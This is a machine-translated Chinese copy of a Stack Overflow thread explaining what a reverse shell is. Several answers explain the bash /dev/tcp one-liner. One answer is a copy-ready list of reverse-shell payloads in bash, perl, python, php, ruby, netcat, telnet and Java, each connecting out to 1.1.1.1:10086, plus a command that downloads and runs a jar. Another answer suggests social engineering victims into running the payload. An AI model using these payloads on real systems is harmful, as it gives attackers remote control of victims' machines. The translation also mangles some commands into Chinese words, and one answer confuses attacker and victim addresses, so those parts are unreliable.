【问题标题】:What is a reverse shell? [closed]什么是反壳? [关闭]
【发布时间】:2022-01-23 00:31:42
【问题描述】:

有人可以深入解释一下什么是反向shell,我们应该在什么情况下使用它? 我发现这个http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet也差不多,什么意思:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

【问题讨论】:

  • 是的,但是我不明白上面的命令以及为什么我们称之为反向shell。
  • 谷歌搜索“reverse shell”会将此页面作为顶部结果返回。 :-D :-D

标签: shell


【解决方案1】:

这是一个由目标引入的(n 个不安全的)远程 shell。这与源代码引入的“普通”远程外壳相反。

让我们用localhost代替10.0.0.1试试吧:

  • 在终端中打开两个选项卡。

    1. 打开 TCP 端口 8080 并等待连接:

      数控本地主机-lp 8080
    2. 打开交互式外壳,并将 IO 流重定向到 TCP 套接字:

      bash -i >& /dev/tcp/localhost/8080 0>&1

      在哪里

      • bash -i "如果存在 -i 选项,则 shell 是交互式的。"
      • >& "这种特殊语法将 stdout 和 stderr 都重定向到指定的目标。"
      • >& 的参数)/dev/tcp/localhost/8080 是到localhost:8080 的 TCP 客户端连接。
      • 0>&1 将文件描述符 0 (stdin) 重定向到 fd 1 (stdout),因此打开的 TCP 套接字用于读取输入。

      参照。 http://wiki.bash-hackers.org/syntax/redirection

  • 因为标签 1 中出现提示而感到高兴。
  • 现在想象不使用localhost,而是使用一些远程IP。

【讨论】:

  • man 页面中,nc 声明:“将此选项与 -p、-s 或 -z 选项结合使用是错误的。此外,指定的任何超时使用 -w 选项将被忽略。”您是否有任何理由将其包含在您的解决方案中?我在我的机器上试了一下,还是不行。
  • @ConstantFun "-l 侦听传入连接,而不是启动到远程主机的连接。要侦听的目标和端口可以指定为非可选参数,也可以使用选项@分别为 987654334@ 和 -p。”。您似乎有不同的 nc 实现。在 netcat-openbsd 和 netcat-traditional 中应该这样写。
  • 我明白了,我在 Ubuntu 和 Mac OSX 中尝试了这些命令。感谢您的信息。
【解决方案2】:

除了@Kay 的出色回答之外,您的问题的答案为什么 它被称为反向外壳 是因为它被称为反向外壳而不是 绑定shell

Bind shell - 攻击者的机器充当客户端,受害者的机器充当服务器,打开受害者的通信端口并等待客户端连接到它,然后发出命令远程(相对于攻击者)在受害者的机器上执行。这只有在受害者的机器有一个公共 IP 并且可以通过 Internet 访问时才有可能(为了简洁起见,忽略所有防火墙等)。

现在,如果受害者的机器被 NAT 过,因此无法直接访问怎么办?一种可能的解决方案 - 如果无法访问受害者的机器怎么办。我的(攻击者的)机器是可达的。所以让我在我的一端打开一个服务器,让受害者连接到我。这就是反向外壳。

反向 Shell - 攻击者的机器(具有公共 IP 并可通过 Internet 访问)充当服务器。它在端口上打开一个通信通道并等待传入​​连接。受害者的机器充当客户端并启动与攻击者监听服务器的连接。 这正是通过以下方式完成的:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

【讨论】:

    【解决方案3】:

    各种语言的反向shell示例。危险是一个词。

    bash 外壳

    bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
    

    perl 外壳

    perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
    

    python 外壳

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
    

    php 外壳

    php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
    

    红宝石外壳

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
    

    nc 外壳

    nc -c /bin/sh 1.1.1.1 10086;
    

    远程登录外壳

    telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp
    
    127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
    

    java jar shell

    wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;
    
    java -jar /tmp/revs1.jar;
    
    import java.io.IOException;    
    public class ReverseShell {    
        public static void main(String[] args) throws IOException, InterruptedException {
            // TODO Auto-generated method stub
            Runtime r = Runtime.getRuntime();
            String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process p = r.exec(cmd);
            p.waitFor();
        }
    
    }
    

    【讨论】:

    • 为什么这个答案被否决、标记并被带到审查队列?这些命令看起来很危险,因为它们通过管道将您的 shell 传递给另一台计算机,但我没有发现任何问题。
    【解决方案4】:

    反向 shell 正在获取从受害者或目标到您的计算机的连接。你可以想象,你的计算机(攻击者)就像一个服务器并监听他指定的端口,现在你确保受害者通过发送 syn 数据包连接到你(取决于反向 shell 实现是否使用 tcp 或 udp 主体实现) .现在连接看起来好像受害者本人打算连接我们。 现在,为了欺骗受害者,您需要执行社会工程攻击或进行 dns 欺骗,并确保您的受害者运行该程序。 成功的反向 shell 将绕过所有防火墙——基于主机和基于网络的防火墙。 反向 shell 有不同的类型 - 基于 tcp 或基于 http 或基于反向 tcp 或基于 udp 的反向 shell。

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 要在 Linux 中打开套接字,您需要使用 dev /tcp。您基本上是在 Linux 中打开 tcp 套接字。

    一般格式是/dev/tcp/ip地址/port。 现在使用 net cat 作为监听端口 8080 nc - l - p 8080 - - vv

    一个简单的基于 bash 的反向 shell 将在受害者身上执行以下命令 nc - e /bin/bash 10.0.0.1 8080。这意味着您要求 vict 连接到端口 8080 上的 IP 地址,假设 10.0.0.1 是受害者 IP。

    【讨论】:

      【解决方案5】:

      一般来说,反向 shell 是作为操作系统的 shell 的有效负载,这意味着它可以直接使用 OS API,或者通过在后台生成 shell 间接使用,对操作系统执行读/写操作目标计算机的内存和硬件。如果您可以将有效载荷放到目标计算机上并让它们执行它,它就可以连接到攻击者 IP 并生成一个线程,该线程在端口上等待攻击者通过某种协议(如 http)发送命令;然后它可以解析命令并使用 OS API 执行操作并将状态发送回攻击者,或者它可以在后台生成一个 shell,将命令作为命令行参数并将输出重定向到一个文件,它然后可以读取并发送回攻击者。

      您看到的常见示例是使用 OS API 生成 shell 进程并提供打开子 shell 并将 shell 本身的标准输入/标准输出重定向到网络套接字的命令行。

      【讨论】:

        【解决方案6】:

        那么正常的黑客行为是你尝试连接到你的目标并通过那里进行黑客攻击,

        反向外壳是指您的目标通过有效负载或类似方式连接到攻击者

        网络夹头有一个很好的教程

        反向壳也是老鼠的基本形式

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 2015-04-22
          • 2010-09-14
          • 2022-12-02
          • 2010-10-13
          • 1970-01-01
          • 2011-01-04
          相关资源
          最近更新 更多